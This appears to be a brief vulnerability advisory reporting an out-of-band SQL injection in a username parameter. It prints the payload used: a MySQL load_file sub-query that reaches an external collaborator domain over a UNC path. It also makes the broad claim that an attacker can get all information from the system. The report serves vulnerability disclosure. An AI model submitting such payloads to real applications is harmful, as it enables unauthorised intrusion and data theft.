## Reference: https://portswigger.net/web-security/sql-injection  
  
## Description:  
The username parameter appears to be vulnerable to SQL injection  
attacks. The payload '+(select  
load_file('\\\\abpf13cdvni2r5g9hn26os0bd2jv7m0ardf52vqk.oastify.com\\fmd'))+'  
was submitted in the username parameter. This payload injects a SQL  
sub-query that calls MySQL's load_file function with a UNC file path  
that references a URL on an external domain. The application  
interacted with that domain, indicating that the injected SQL query  
was executed. The attacker can get all information from the system by  
using this vulnerability!  
  
STATUS: HIGH- Vulnerability
